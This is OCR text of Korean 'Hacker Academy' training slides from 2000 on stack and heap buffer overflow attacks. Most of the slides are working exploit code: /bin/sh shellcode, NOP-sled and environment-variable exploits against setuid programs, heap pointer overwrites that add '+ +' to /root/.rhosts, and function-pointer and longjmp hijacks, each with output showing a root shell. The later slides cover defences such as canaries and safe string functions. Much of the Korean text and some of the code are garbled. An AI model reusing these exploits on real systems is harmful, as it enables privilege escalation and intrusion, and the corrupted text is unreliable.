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“Smashing The Stack For Fun And Profit”’, Aleph One, Phrack 49-
14

—  http://www.phrack.com
“How to write Buffer Overflows”, mudge, SecurityFocus
“Advanced buffer overflow exploit”, Taeho Oh, SecurityFocus

“Buffer overflow exploit in the alpha linux’, Taeho Oh,
SecurityFocus
—  http://www.securityfocus.com

“Writing buffer overflow exploits — a tutorial for beginners”,
Mixter, SecurityFocus
— http://members.tripod.com/mixtersecurity/papers.html

“buffer overwrites”
— http://www.rootshell.com/documentation.html

“wO0OwO0O0O on Heap Overflows”
—  http://www.tlsecurity.net/Textware/BoF_DoS +/heap-overflows.txt

“StackGuard Compiler”
—  http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/
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1. HH SH=22 I W oH=ze

1. W eH==2

Buffer Overflow ?
— C/C++ 2L It BHE 2| BH & AH(Boundary Check)E ot Xl
O:*OP HAE III2CHH 2 HI0IEHE DSz Mg

MMt AB0IL & 9;'2'0“ 21019 {IOIEf I8 L S o
SSOZMN LM = A

x =

0 Overflow Return Address

A Arguments

Lower Memory Address

= Execution Stack
Stack Frame
Activation Record

Hacker Academy Copyright 2000 HackersLab Co., Ltd.



1. W 2HEZ N M Q=29

1.1 HI LHESERO| &F

0}

Stack-Based Buffer Overflow Lower Memory Address

- A IR0 = HIHU 2IE =
IH|O|E-| (A&l Jisst DE)E JIS Program Header Table

| S—

u—

) ME=E =7 =48 HIEECZ2M
ojoo] AEE Al

TEXT Area

—  “Smashing The Stack For Fun And Profit”, Aleph
One, Phrack 49-14

Heap-Based Buffer Overflow
A e HIHS AIIE =16t

ol

- =
= UIOIHZ JISotHLE M&E= GIOIH
L Sl =405 HISFLEMN 222 STACK Area
TJEZ AlH

- “w00wO0O0 on Heap Overflows”, wOOwOO High Memory Address
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1. HE 2HE2L IR

272
214 19994 I QHSZ R S& LM
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: |
4
RPN,
— FUEO U=s AH U= & AlAE text -
Zte| T2 ) EH
- 2 root &~=°2 setuid X = ] &4
data
l%=|-
_ =
229 MR :
1L FAH EX A HESE «—E
ES
e OS, Program, Version, etc buffer &
) 1
e Exploit code from the well- (our code) 2
known security portal sites sfp
» =2 NE Exploit T2 @ A e IR
31 gl E DA 4 DC XM
° EEX EL_IE_ TR e parameters
3. Let’s exploit!
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2. Hi Q@HEER

HiI QHEZS

2.1 HE SHEEL

exploitl.c
char shellcode[] =

OH

2o 2| (1)

"\xeb\x1\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xbO\x0b""

"\X89\ XT3\ x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""
"\x80\xe8\xdc\xFR\xFRA\xff/bin/sh";

char large_string[128];

void main(Q) {
char buffer[96];
int 1;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32;

i++)
*(long_ptr + 1) = (i

nt) buffer;

for (i = 0; 1 < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer, large_string);

}

Copyright 2000 HackersLab Co., Ltd.
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=
=
El
0
=
Tl
Hll
OH
J\I

10| 22| (2)

inti
buffer long *long_ptr

(=Oxbfffffxx) A large_string \xeb\x1F\x5e\x89 A
& \Xx76\x08\x31\xc0

\x88\x46\x07\x89
\x46\x0c\xb0\x0b

\x89\xF3\x8d\x4e S
\x08\x8d\x56\x0c 8
6 \xcd\x80\x31\xdb
- - - Y

Oxbfffffxx 4
Oxbfffffxx

@ Oxbfffffxx
C .. 0]

SFP Oxbfffffxx

Return Address Oxbfffffxx

Parameters Oxbfffffxx
2

()

sa1Aq

00)

>«

salAq

w

Oxbfffffxx
Oxbfffffxx
v Oxbfffffxx v

salAq
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vulpro.c buffer
- - A
#include <stdio.h> \xeb\x1f\x5e\x89 ¥
void function(char *str) { tﬁ;g&gg&g%&gg
char buffer[256]; \x46\x0c\xb0O\x0b
= P » \Xx89\xF3\x8d\x4e
printf(“Addr of buffer: %p\n”, buffer);
st GCy(bUffer . st r.) - \x08\x8d\x56\x0c
printf(“Hello, %s!\n”, buffer): \XCd\xB80\x31\xdb
} \x89\xd8\x40\xcd
256 bytes| \x80\xe8\xdc\xF
int main(int argc, char *argv[]) { \XFR\XFF/bin/sh\0
function(argv[1]);
printf(“Terminated normally.\n"");
}
# gcc vulpro.c —o vulpro
# ./vulpro bof v
Addr of buffer: Oxbfffffxx SFP
Hello, bof! ___Return Address —
Terminated normally. Addr of argv[1]
#

Hacker Academy Copyright 2000 HackersLab Co., Ltd.
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=249| 0]3l (2)

exploit2.c

#include <stdlib.h>
#define DEFAULT_ OFFSET
#define DEFAULT BUFFER_SIZE

o

512

char shellcode[] =
“NXxeb\ X1\ x5e\x89\x76\x08\x31\xc0”’
“NAx88\x46\x07\x89\x46\x0c\xb0\x0b”’
“NX89\XxF3\x8d\x4e\x08\x8d\x56\x0c”’
“NAxcd\x80\x31\xdb\x89\xd8\x40\xcd”’
“Nx80\xe8\xdc\xFR\xFRA\xff/bin/sh”;

unsigned long get_sp(void) {
asm__ (""'movl %esp,%eax™);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize=atoi(argv[1l]);
if (argc > 2) offset=atoi(argv[2]):;

iIfT (1(buff = malloc(bsize))) {
printf(**Can"t allocate memory.\n");
exit(0);

addr = get_sp() - offset;
printf(*"'Using address:O0x%x\n",addr);
ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; 1 < bsize; 1+=4)

*(addr_ptr++) = addr;
ptr += 4;
for (i=0; i<strlen(shellcode); i1++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = "\0";
memcpy(buff,"EGG="",4);

putenv(buff);
system(*"/bin/bash');

Hacker Academy
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f

HE QHEZS

Z{2] olsH (3)

buffer
vulpro.c (=0xbffffixx) buff exploit2.c
1 # gcc vulpro.c —o vulpro \b\ 15\(3(53:\ — 1
Xeb\X Xoe\X X
# chmod u+s VUIpro \x08\x31\xc0\x88\x46
# mv vulpro /tmp \X07\X89\X46\Xx0c\xb0
# gcc exploit2.c —o exploit2 \XOb\x89\xF3\x8d\x4e | 0
#cp exp|oit2 /tmp \x08\x8d\x56\x0c\xcd
256 # su — hacker \Xx80\x31\xdb\x89\xd8
$cd/ \x40\xcd\x80\xe8\xdc
o C/ trlnptz 500 \xFRAXFAXFF/bin/sh\o| y
buffer JEXPIOI A
Using address: Oxbffffa08 gigggx
$ ./vulpro SEGG
v Addr of buff: Oxbffff290 00
SFP 4 $ exit OxXbfffffxx
Oxbiffffixx 464
Parameters $ ./exploit2 600 1364 OXbfffffxx
256 | Using address: Oxbfffff290
$ ./vulpro $SEGG
Addr of buff: 0xbffff290 OXbIfHeX
# OXbfffffxx
v Oxbfffffxx v
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exploit3.c

#include <stdlib.h>

#define DEFAULT_OFFSET o

#define DEFAULT BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =
“Nxeb\x1H\x5e\x89\x76\x08\x31\xc0”’
“NAx88\x46\x07\x89\x46\x0c\xb0\x0b"’
“Nx89\xF3\x8d\x4e\x08\x8d\x56\x0c”’
“Nxcd\x80\x31\xdb\x89\xd8\x40\xcd”’
“Nx80\xe8\xdc\xFR\xFRA\xff/bin/sh";

unsigned long get_sp(void) {
__asm___(""movl %esp,%eax"™);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET;
int bsize=DEFAULT_BUFFER_SIZE;
int i1;

if (argc > 1) bsize=atoi(argv[1]);
if (argc > 2) offset=atoi(argv[2]);

iIT (1(buff = malloc(bsize))) {
printf(**Can"t allocate memory.\n");
exit(0);

}

addr = get_sp() - offset;

printf(*'Using address:0x%x\n",addr) ;

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; 1 < bsize; 1+=4)
*(addr_ptr++) = addr;

for (1 = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) -
(strlen(shellcode)/2));
for (1=0; i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = "\0";
memcpy(buff,"EGG="",4);

putenv(buff);
system(*"/bin/bash');

Hacker Academy
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2.3 k&t

i 2LHEESL

=l B 2H1E§° 34 (2)

NOP

NOP

NOP

buffer

AA AL AL AAA

our code

call

“/bin/sh”

sfp

ret

parameters

Hacker Academy

Buffer Overflow Technique

//7

Q: Where is our code ?
A: Maybe...

Copyright 2000 HackersLab Co.,
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S 1 == =1 74
2.3 SMEl HI QLHEES 324 (3)
buffer
vulpro.c (=0xbffifixx) buff exploit3.c
1 # gcc vulpro.c —o vulpro EGG= 1
# chmod u+s vulpro NOP(0x90)
# mv vulpro /tmp NOP(0x90) 233
# gcc exploit3.c —o exploit3 ROE(E2I0)
# cp exploit3 /tmp
\4
256 | # su —hacker \XED\XIT\XBe\x89\x76 | 4
$ cd /tmp \X08\x31\XxCO\X88\x46
$ _/exploit3 600 \Xx07\x89\x46\x0c\xb0
ot Using address: Oxbffffa08 txggtxgzygtxgdtx“g 46
utrer X X X XUC\XC
$ /vulpro $EGG \x80\x31\xdb\x89\xd8
v Addr of buff: Oxbffff290 \x40\xcd\x80\xe8\xdc
SFP 4 $ exit \XFRAXFRA\XFF/bin/sh\0| y
o | -
Parameters $ ./exploit3 600 1364 OxbFffffxx
256 | Using address: Oxbfffff290
$ /vulpro $EGG o 233
Addr of buff: Oxbffff290 DN X
# Oxbfffffxx
v Oxbfffffxx v
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buffer I
T RET (Q
RET >
too small !! RET S
l 7o)
argv[1]
> )4
NOP
I NOP o |8
oit NOP 3% Q: Where is our code ?
exploi o ) :
code S A: Why_ don’t you use the
< |2 environment variables ?
shellcode = kL
Q|0
C o
b1
A 4
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exploit4.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0]

#define DEFAULT BUFFER_SIZE 512

#define DEFAULT _EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =
“Nxeb\Xx1H\x5e\x89\x76\x08\x31\xc0”’
“NAXx89\x46\x07\x89\x46\x0c\xb0\x0b"’
“Nx89\xTF3\x8d\x4e\x08\x8d\x56\x0c”’
“Nxcd\x80\x31\xdb\x89\xd8\x40\xcd”’
“Nx80\xe8\xdc\xFR\xFRA\xff/bin/sh”;

unsigned long get_esp(void) {
__asm__ (""movl %esp,%eax"™);

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE;
int 1, eggsize=DEFAULT_EGG_SIZE;

iIT (1(egg = malloc(eggsize))) {
printf(**Can"t allocate memory.\n");
exit(0);

}
addr = get_esp() - offset;
printf(*'Using address:0x%x\n",addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (1 =0; 1 < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egq;
for (i = 0; i <eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

iIT (V(buff = malloc(bsize))) {
printf(""Can"t allocate memory.\n");
exit(0);

+

for (1 = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcodeli];

buff[bsize - 1] = *"\0";
eggfeggsize - 1] = *"\0";
memcpy(egg, "EGG=",4);
putenv(egg);
memcpy(buff,""RET="",4);
putenv(buff);
system(*'/bin/bash™);

Hacker Academy
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HiI QHEZS

2.3 2FAEl B EH-IEE =21 (6)
vulpro.c egy exploit4.c
# gcc vulpro.c —o vulpro EGG= 1
TEXT # chmod u+s vulpro NOP(0x90)
# mv vulpro /tmp NOS(EXO0)
# gcc exploit4d.c —o exploit4 ROE(E2I0)
DATA # cp exploit4 /tmp 5048
# su — hacker \XeD\XLT\X5e\XB9\X76
$ cd /tmp \X08\x31\XCO\X88\x46
buffer $ ./exploit4 600 \Xx07\x89\x46\x0c\xb0
Using address: Oxbffffa08 WHEIBERNC B NG
Sl $ ./vulpro $RET v
At ot ot oebriso bufe
Parameters $ exit — i
RET=
............................ stack TR T
$ ./exploit4 600 1364 OxbFFfffxx
Using address: Oxbfffff290
$ ./vulpro $RET - 512
command-line args| | Addr of buff: 0xbffff290 bkl ot
and env variables # Dt 11D
Oxbfffffxx v

Hacker Academy
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_T_D:IO|
=Y

CH &t
=2 root 272 setuid L2 ] 4
e ZE9(or bss)0ll &F= I8 HIH AtES

&l

olFel =40 22 & (by such as malloc)
=2 =20 /X HHE QLHEZR A A
GIOIELE ZCIHE HEASCZM 22 Lt
20 E2otIHLE Yoo TEE Al

SN

the same as the stack-based overflow
attack

*pss : block started by symbols

Heap Area

bufl

buf2 (overwritten)| [
®

2

=

bufptr =y
)

S5

o

o

funcptr c
—r

H

Hacker Academy
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3.1 8l QHEES Aol Az (1)

heapexl.c

/* demonstrates dynamic overflow in heap (initialized data) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */
int main(Q)
{
u_long diff;
char *bufl = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

diff = (u_long)buf2 - (u_long)bufl;

printf("'bufl = %p, buf2 = %p, diffF = Ox%x bytes\n", bufl, buf2, diff);
memset(buf2, A", BUFSIZE-1), buf2[BUFSIZE-1] = °"\O0";

printf("'before overflow: buf2 = %s\n', buf2);

memset(bufl, "B", (u_int)(diff + OVERSIZE));

printf("'after overflow: buf2 = %s\n", buf2);

return O;

}

Hacker Academy Copyright 2000 HackersLab Co., Ltd.
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3.1 8l 2HEEL 32| A2 (2

A1} (heapexl.c) Heap Area

[root@ns /root]# gcc -0 heapexl heapexl.c
[root@ns /root]# ./heapexl

OH

bufl = 0x8049770, buf2 = 0x8049788,

diff = 0x18 bytes 0x8049770 BBBB
before overflow: buf2 = AAAAAAAAAAAAAAA bufl BBBB
after overflow: buf2 = BBBBBBBBAAAAAAA BEBE
[root@ns /root]# BEBE

0x8049788 BBBB
buf2 BBBB

TJNg AQq ua)IUMIBANO . l

Hacker Academy Copyright 2000 HackersLab Co., Ltd.
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heapex?2.c

/* demonstrates static pointer overflow In bss (uninitialized data) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#define BUFSIZE 16
#define ADDRLEN 4 /* # of bytes In an address */
int main(Q)
{
u_long diff;
static char buf[BUFSIZE], *bufptr;
bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;
printf("'bufptr (%p) = %p, buf = %p, diffF = Ox%x (%d) bytes\n",
&bufptr, bufptr, buf, diff, diff);
memset(buf, A", (u_int)(diff + ADDRLEN));
printf("'bufptr (%p) = %p, buf = %p, diff = Ox%x (%d) bytes\n®,
&bufptr, bufptr, buf, diff, diff);
return O;

Hacker Academy Copyright 2000 HackersLab Co., Ltd.
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f

3.2 8| QH=Z 2 2o Al (4)

A1} (heapex2.c) Heap Area

[root@ns /root]# gcc -0 heapex2 heapex2.c
[root@ns /root]# ./heapex?2

)
bufptr (0x80496e8) = 0x80496d8, buf = []

buf = 0x80496d8, diff = 0x10 (16) bytes 0x80496d8 AAAA
AAAA 2
bufptr (0x80496e8) = 0x41414141, AAAA - )
buf = 0x80496d8, diff = 0x10 (16) bytes AAAA B
[root@ns /root]# AAAA
bufptr = e 2
0x80496€8 AAAA 13
O
C
—t

4y

Hacker Academy Copyright 2000 HackersLab Co., Ltd.
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vulprogl.c

/*

* This is a typical vulnerable program. It will
* store user input in a temporary file.

*

* Compile as: gcc -0 vulprogl vulprogl.c

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

/*

* Run this vulprog as root or change the

* "yvulfile" to something else.

* Otherwise, even if the exploit works, it won't
* have permission to

* overwrite /root/.rhosts (the default "example").
*/

Int main(int argc, char **argv) {

FILE *tmpfd;
static char buf[BUFSIZE], *tmpfile;

if (argc<=1) {
fprintf(stderr, "Usage: %s <garbage>\n",
argv[0]);
exit(ERROR);

tmpfile ="/tmp/vulprog.tmp";
printf("before: tmpfile = %s\n", tmpfile);
printf("Enter one line of data to put in %s: ",
tmpfile);
gets(buf);
printf("\nafter: tmpfile = %s\n", tmpfile);
tmpfd = fopen(tmpfile, "w");
If (tmpfd == NULL) {
fprintf(stderr, "error opening %s: %s\n",
tmpfile, strerror(errno));
exit(ERROR);
}
fputs(buf, tmpfd);
fclose(tmpfd);

Hacker Academy
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exploitl.c
#include <stdio.h> iIf (argc <=1)
#include <stdlib.h> fprintf(stderr, "Usage: %s <offset>
#include <unistd.h> [try 310-330]\n", argv[0));
#include <string.h> exit(ERROR);
}
#define BUFSIZE 256 memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
#define ERROR -1 memset(buf + strlen(buf), 'A’, DIFF);
#define DIFF 16 addr = getesp() + atoi(argv[1));
#define VULPROG "./vulprogl" /* reverse byte order (on a little endian system) */
#define VULFILE "/root/.rhosts” for (i = 0; i <sizeof(u_long); i++)

buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
u_long getesp()
mainbufsize = strlen(buf) + strlen(VULPROG) +

__asm__("movl %esp,%eax"); strlen(VULPROG) + strlen(VULFILE) + 13;
} mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));
int main(int argc, char **argv) snprintf(mainbuf, mainbufsize - 1, "echo '%s'
| %s %s\n", buf, VULPROG, VULFILE);
u_long addr; printf("Overflowing tmpaddr to point to %p,
check %s after\n\n", addr, VULFILE);
register int i;
Int mainbufsize; system(mainbuf);
return 0;
char *mainbuf, buf[DIFF+6+1] ="+ +\t# ", }

Hacker Academy Copyright 2000 HackersLab Co., Ltd.
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= =
3.2 &l LHEES S212| 0|3l (3)
vulprogl.c exploitl.c
/tmp/vulprog.tmp
buf
+ +\t# AAAA before buf + +\t# AAAA
gets(buf); AAAAAA AAAAAA
tmpfile Oxbfffad44 Oxbfffad44
after
/root/.rhosts

[root@ns test]# ./exploitl 620
Overflowing tmpaddr to point to Oxbffffa44,
check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp

Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /root/.rhosts

[root@ns test]#

Copyright 2000 HackersLab Co., Ltd.
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St HOIEE 0|88 D
1. argv[]E O|=gt &
e ITZ):MOl command-line QX0 & ZEE &
2. Heap offset=S 0|=st & &
e Heapl2 XMSHH U& HIINXIS offsetS =5
— HEAP HEAP
buf C<) area buf (‘:DT area
o S
3 ®
funcptr § funcptr )
: -g-
*
STACK STACK N
argv[1]
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vulprog?2.c
#include <stdio.h> printf(“(for 2nd exploit, stack method) argv[2]
#include <stdlib.h> = %p\n”, argv[2]);
#include <unistd.h> printf(“(for 2nd exploit, heap offset method) buf
#include <string.h> = %p\n\n”, buf);
funcptr = (int (*)(const char *str))goodfunc;
#define ERROR -1 printf("before overflow: funcptr points
#define BUFSIZE 64 to %op\n", funcptr);
memset(buf, 0, sizeof(buf));
int goodfunc(const char *str); strncpy(buf, argv[1], strlen(argv[1]));
printf(“after overflow: funcptr points to %p\n",
int main(int argc, char **argv) funcptr);
{ (void)(*funcptr)(argv[2]);
static char buf[BUFSIZE]; return 0;
static int (*funcptr)(const char *str); }
If (argc <=2) /* This is what funcptr should/would point to if
we didn't overflow it */
fprintf(stderr, "Usage: %s <buffer> int goodfunc(const char *str)
<goodfunc's arg>\n", argv|[0]); {
exit(ERROR); printf("\nHi, I'm a good function.\n");
} printf("l was passed: %s\n", str);
return 0;
printf(*(for 1st exploit) system()= %p\n", }
system);
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exploit2.c

#include <stdio.h>

#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 64

#define VULPROG "./vulprog2"
#define CMD "/bin/sh"

#define ERROR -1

int main(int argc, char **argv)
{
register int i,
u_long sysaddr;
static char buf[BUFSIZE + sizeof(u_long) + 1]
={0};

iIf (argc<=1)

fprintf(stderr, "[offset = estimated system()
offset in vulprog\n\n");
exit(ERROR);

}

fprintf(stderr, "Usage: %s <offset>\n", argv[0]);

sysaddr = (u_long)&system - atoi(argv[1]);
printf("Trying system() at 0x%Ix\n", sysaddr);

memset(buf, ‘A", BUFSIZE);
/* reverse byte order (on a little endian system) */
for (i = 0; 1 < sizeof(sysaddr); i++)
buf[BUFSIZE + 1] = ((u_long)sysaddr >> (i * 8))
& 255;
execl(VULPROG, VULPROG, buf, CMD,

NULL);
return O;
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3.3 17 & LHEES 34 (4)

vulprog?2.c exploit2.c
0x80484d0
system() <
0x8048770
> goodfunc()
buf AAAAAAAAAAAAAAAA after buf | AAAAAAAAAAAAAAAA
before AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
0x80484d0 0x80484d0

[root@ns test]# ./exploit2 16

trying system() at 80484d0

(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = Oxbffffd3c
(for 2ndexploit, heap offset method) buf = 0x804a9a8

before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0x80484d0
bash#
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exploit3.c

<cont’'d>

if (BUFSIZE + 4 + 1 < strlen(shellcode)) {
fprintf(stderr, "error: buffer is too small for

exit(ERROR);
}

strcpy(buf, shellcode);
memset(buf + strlen(shellcode), ‘A,
BUFSIZE - strlen(shellcode) +
sizeof(u_long));

}
buf[BUFSIZE + sizeof(u_long)] =

for (i = 0; 1 < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8))
& 255;

execl(VULPROG, VULPROG, shellcode, buf,
NULL);
return O;

}

shellcode (min. = %d bytes)\n", strlen(shellcode));

If (argc <=2)

fprintf(stderr, "Usage: %s <offset>
<heap | stack>\n", argv[0]);
exit(ERROR);

}
If (strncmp(argv[2], "stack", 5) == 0)

printf("Using stack for shellcode (requires
exec. stack)\n");

sysaddr = getesp() + atoi(argv[1]);
printf("Using 0x%lx as our argv[1]
address\n\n", sysaddr);

memset(buf, 'A’', BUFSIZE + sizeof(u_long));
} else {
printf("Using heap buffer for shellcode
(requires exec. heap)\n");

sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
printf("Using 0x%lx as our buffer's
address\n\n", sysaddr);
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3.3 17 & LHEES 34 (6)

vulprog?2.c exploit3.c
0x8048770
> goodfunc()
buf AAAAAAAAAAAAAAAA buf | AAAAAAAAAAAAAAAA
before AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA 64
AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
f t AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
uncptn
P Oxbffffd16 Oxbffffd16
Oxbffffd16 grter
X argv[1] : shellcode

[root@ns test]# ./exploit3 334 stack
Using stack for shellcode (requires exec. stack)
Using Oxbfffd16 as our argv[1l] address

(for 1st exploit) system() = 0x80484d0
(for 2nd exploit, stack method) argv[2] = Oxbffffd16
(for 2nd exploit, heap offset method) buf = 0x804a9a8

before overflow: funcptr points to 0x8048770
after overflow: funcptr points to Oxbfffd16
bash#
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3.3 17 & LHEES 34 (7)

0x8048770Q
>

buf

before

funcptr

64

vulprog?2.c exploit3.c
goodfunc()
\xeb\x1fA\x5e\x89\x76 buf | \xeb\x1f\x5e\x89\x76
\x08\x31\xcO\x88\x46 \x08\x31\xcO\x88\x46
..... after e
shellcode shellcode
0x804a9a8 0x804a9a8

Hacker Academy

[root@ns test]# ./exploit3 428 heap
Using heap for shellcode (requires exec. heap)
Using 0x804a9a8 as our buffer’s address

(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = Oxbffffd16
(for 2ndexploit, heap offset method) buf = 0x804a9a8

before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0x804a9a8

bash#
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vulpro4.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <setjmp.h>

#define ERROR -1
#define BUFSIZE 16

static char buf[BUFSIZE];
jmp_buf jmpbuf;

u_long getesp()

__asm__("movl %esp,%eax");

}
int main(int argc, char **argv)
iIf (argc <=1)
fprintf(stderr, "Usage: %s <stringl>
<string2>\n");

exit(ERROR);
}

printf("[vulprog] argv[2] = %p\n", argv[2));
printf("[vulprog] sp = 0x%Ix\n\n", getesp());

If (setjmp(jmpbuf)) {
fprintf(stderr, "error: exploit didn't work\n");
exit(ERROR);
}
printf("before:\n");
printf("bx = 0x%lx, si = 0x%lx, di = 0x%Ix\n",
jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);

printf("bp = %p, sp = %p, pc = %p\n\n",
jmpbuf->__ bp, jmpbuf->__ sp, jmpbuf->__ pc);

strncpy(buf, argv[1], strlen(argv[1]));

printf("after:\n");

printf(*bx = 0x%lx, si = 0x%lx, di = 0x%Ix\n",
jmpbuf->__ bx, jmpbuf->__si, jmpbuf->__di);

printf("bp = %p, sp = %p, pc = %p\n\n",
jmpbuf->__ bp, jmpbuf->__ sp, jmpbuf->__ pc);

longjmp(jmpbuf, 1);
return O;

}
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exploit4.c

<cont’d>
for (i =0; i1 <sizeof(u_long); i++) /* setup BP */

index = BUFSIZE + 16 +i;
buf[index] = (stackaddr >> (i * 8)) & 255;

for (i =0; 1 <sizeof(u_long); i++) /* setup SP */

index = BUFSIZE + 20 + i;
buf[index] = (stackaddr >> (i * 8)) & 255;

for (i = 0; 1 <sizeof(u_long); i++) /* setup PC */

index = BUFSIZE + 24 +i;
buf[index] = (argvaddr >> (i * 8)) & 255;
}

execl(VULPROG, VULPROG, buf, shellcode,
NULL);
return O;

char buf[BUFSIZE + 24 + 1];
iIf (argc <=1)

fprintf(stderr, "Usage: %s <stack offset> <argv
offset>\n", argv|[0]);

fprintf(stderr, "[stack offset = offset to stack of
vulprog\n");
fprintf(stderr, "[argv offset = offset to
argv[2]]\n");
exit(ERROR);
}

stackaddr = getesp() - atoi(argv[1]);
argvaddr = getesp() + atoi(argv[2]);

printf("trying address 0x%lIx for argv[2]\n",
argvaddr);

printf("trying address 0x%lIx for sp\n\n",
stackaddr);

memeset(buf, ‘A", BUFSIZE), memset(buf +
BUFSIZE + 4, 0x1, 12);
buf[BUFSIZE+24] = ;
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4. Hu LHS=2S HOF Cl{zH (1)

AN HE A

- MEA A SAF0 OOIH JI= sAl

o = FH SAE M 282 FZ2d(integrity) S Al
Dt = SAl
e FreeBSD

e Secure Linux
— http://www.false.com/security/linux-stack
e Solaris 2.6 and above : prevent and log stack-smashing
attack.
— set noexec_user_stack =1
— set noexec_user_stack log =1

]
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4. Hij SZI:I-I% $ HOF CHEH (2)

A ZAIE ol MUY L 23 AIE
— GNU GCC 2.7.2.3 HHA& = Il X| et StackGuard

e http://www.cse.ogi.edu/DISC/projects/immunix/Stac
kGuard
o EHFA U30Ul “canary” wordE Xl A&
e “canary” wordJ)} HELH A QHEZR SAHO AT 2ZA &
2 1(syslog) , AlIAE B&.
— Random canary
o &3S MOICt canary valueE HZAIH, 2AXIt 6IS6HK oIS &
— Null canary(0x00000000),
o SAXIIHIHN € SXH(OX00)E €2 =+ Qlli= 82 0|8
— Terminator canary(combination of Null, CR, LF, -I)
e NULL 2Xt= ELIXl &= £F 2XE &2 2XE E2X 018

s
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— RedHat Linux http://updates.redhat.com

- MS http://support.microsoft.com

— BSD && ftp://ftp.freeBSD.org/pub/FreeBSD
— Sun Solaris http://sunsolve.sun.com

— Cobalt http://www.cobaltnet.com/patches
— Digital ftp://ftp.compaqg.com/pub

— HP/UX http://us-support3.external.hp.com
— IBM AIX ftp://software.watson.ibm.com/pub
— SGI IRIX ftp://ftp.sgi.com/security
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4. Hu LHS=2S HOF Cl{zH (4)

T2 e 2N 2oF T =
— BoundaryE ZdAtol= Z UL H
— BoundaryE & Alot= &
o AIE XAl &=

— strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), vsscanf(),
sprintf(), vsprintf(), gethostbyname()

o NE AT S
— strncat(), strncpy(), fgets(), fscanf(), vfscanf(), snprintf(),
vsnprintf()
— Overflow_wrapper AtEZ
e AUSCERT : overflow_wrapper.c

— ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c
e HIH AJ| Al = &2 E=2 18 =&
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i 2LHEESL

Example of Vulnerable Program

Example of Secure Program

insecure.c

#include <stdio.h>
#include <string.h>
#include <ctype.h>

int main(int argc, char **argv)

{
char buffer[1024];
if(argc > 1) {
strcpy(buffer, argv[1l]):
bs
printf(“buffer: %s\n”,buffer);
}

securel.c

#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char buffer[1024];
int 1;
if(argc > 1) {
if(strlen(argv[l]) >=1023) {
fprintf(stderr,”too long\n™);
exit(0);
}
strcpy(buffer, argv[1l]);

}
printf(*“buffer: %s\n”, buffer);
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4. Hu LHEE= HOI Cl{zH (5)

HE QHEZS

e Overflow wrapper A0

# ./ chkbof 2000 ./insecure
Segnentation fault

# chnod u-s i nsecure

# cp 1nsecure [usr/|ocal/bin/insecure.orig

# gcc —-DREAL PROG=*"/usr/local/bin/insecure.orig”’
—DVAXARGLEN=1024 -0 insecure overfl ow w apper.c

# chnod u+s i nsecure
# ./ chkbof2 2000 ./insecure
You have exceeded the argunent length ...Exiting

\
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